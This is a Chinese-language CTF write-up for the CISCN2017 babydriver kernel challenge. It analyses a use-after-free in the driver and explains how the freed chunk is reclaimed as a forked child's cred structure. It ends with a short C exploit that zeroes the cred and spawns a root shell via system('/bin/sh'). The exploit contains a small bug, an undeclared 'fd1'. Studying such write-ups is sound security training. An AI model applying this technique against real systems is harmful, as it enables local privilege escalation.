1.题目分析

  • 题目是CISCN2017-babydriver。
  • 题目给的文件还是常规那么几个。
  • 下面就对具有漏洞的LKM进行分析。
  • init_和exit_函数还是最基本的设备初始化函数。进行设备的装载和卸载。
  • 下面就一起从babyopen和babyrelese看起。这两函数分别是对babydev_struct这个结构体的初始化和释放,不过通过fops结构我们可知这两函数是创建和卸载的时候就调用了。
  • 接下来我们在对babydev_struct这个进行分析。
  • 首先是看到他的大小是0x10的,然后里面有两成员。大致如下。
struct babydevice_t {
    size_t* devicebuf;
    size_t  device_buf_len;
};
  • 在对ioctl交互函数进行分析。
  • 这里能够知道,当我们传给ioctl函数的第二个参数cmd为0x10001时,会把原有初始化的babydev_struct函数给kfree掉,然后重新初始化,重新申请一个我们传给ioctl函数第三个参数大小的块。
  • 然后我们在看看write和read函数。
  • 这两函数只是对copy_to_user和copy_from_user函数加了一个判断然后封装起来了而已。应该不难看懂的。需要注意的就是能够看见两函数都不完整。可能是ida的识别问题。但是像这样不完全显示的。一般是根据基本的那些寄存器做为参数。

2.题目总结

  • 1.我们可以通过ioctl函数重新分配一个所需大小的块到保存到全局变量中去。
  • 2.在程序关闭的时候自动kfree掉结构体的成员。但是没有把指针置0,这样就造成了一个UAF。
  • 由于程序没有对进程进行特殊操作,所以通过上面总结的内容,很容易就可以通过修改进程的cred这个结构内容达到提权的目的。
  • 首先open一个进程,然后open一个,又由于struct两成员是全局变量,所以两进程的对struct成员进行操作会影响到另一个,所以当我们close掉第一个进程时,relese函数会把这个堆给释放,然后我们就得到一个与cred结构相同大小的堆块。然后在fork一个子进程的时候,由于linux kernel是slab/slub分配。如果cred与刚刚释放的堆相同。cred就会命中刚释放的那个堆,然后我们在通过对一开始open的第二个进程操作,通过对babydev_struct.buf的更改,就可以更改刚刚fork出子进程的权限。然后在通过子进程执行system("/bin/sh")从而提权。

Cred

  • 当进程创建的时候,程序会通过cred这个结构,来标明程序的权限。所以我们可以通过改这个结构体来更改权限然后执行system("/bin/sh"),从而进行提权。不过这里我们得先得到进程的此结构体大小,还由此我们来kmalloc一个相同大小的空间。
  • 得到其大小有两种方法。一是找到对应的内核版本,然后通过源代码进行计算。这里贴出一个链接,能够看到源代码。
  • 通过编写程序来得到源代码。
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
MODULE_LICENSE("Dual BSD/GPL");
struct cred c1;
static int hello_init(void) 
{
    printk("<1> Hello world!\n");
    printk("size of cred : %d \n",sizeof(c1));
    return 0;
}
static void hello_exit(void) 
{
    printk("<1> Bye, cruel world\n");
}
module_init(hello_init);
module_exit(hello_exit);
  • 然后编译模块。注意写成Makefile(M大写)。
# at first type on ur terminal that $(uname -r) then u will get the version..
# that is using on ur system
 
obj-m += viewcred.o
 
KDIR =/usr/src/linux-headers-$(shell uname -r)
 
all:
	$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
 
clean:
	rm -rf *.o *.ko *.mod.* *.symvers *.order
  • 然后把两文件放在同一目录,最后用dmesg命令显示得到大小。

3.漏洞利用及脚本编写

#include "stdio.h"
#include "stdlib.h"
#include "unistd.h"
#include "fcntl.h"
#include "stropts.h"
#include "sys/wait.h"
#include "sys/stat.h"

int main()
{
	int fd=open("/dev/babydev",2);
	int fp=open("/dev/babydev",2);
	ioctl(fd1,0x10001,0xa8);//这里不一定非要分配0xa8大小只要和cred结构体大小差不多在同一cache页就行了。当然可以是0xb1,0xa0。。
	close(fd);
	int pid=fork();
	if (pid<0)
	{
		puts("[-]Fork Error!");
		exit(0);
	}
	else if (pid==0)
	{
		char buf[30]={0};
		write(fp,buf,28);
		if (getuid()==0)
		{
			puts("[+]Hacked Successful!");
			system("/bin/sh");
			exit(0);
		}
	}
	else
	{
		wait(NULL);
	}
	close(fp);
	return 0;
}